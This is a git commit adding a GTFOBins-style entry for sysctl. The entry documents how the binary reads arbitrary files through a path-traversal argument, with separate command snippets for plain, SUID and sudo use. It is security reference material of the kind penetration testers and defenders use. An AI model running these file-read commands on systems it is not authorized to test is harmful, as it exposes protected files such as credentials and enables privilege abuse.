Create sysctl.md

master
Fabrizio 2020-06-11 12:10:35 -04:00 committed by Andrea Cardaci
parent 45308d4f58
commit 8ab57da5c7
1 changed files with 16 additions and 0 deletions

16
_gtfobins/sysctl.md Normal file
View File

@ -0,0 +1,16 @@
---
functions:
file-read:
- description: It reads data from arbitrary files when combined with a path-traversal. The -p argument can also be used in place of -n.
- code: |
LFILE=file_to_read
sysctl -n "/../../../../../$LFILE"
suid:
- code: |
LFILE=file_to_read
./sysctl -n "/../../../../../$LFILE"
sudo:
- code: |
LFILE=file_to_read
sudo sysctl -n "/../../../../../$LFILE"
---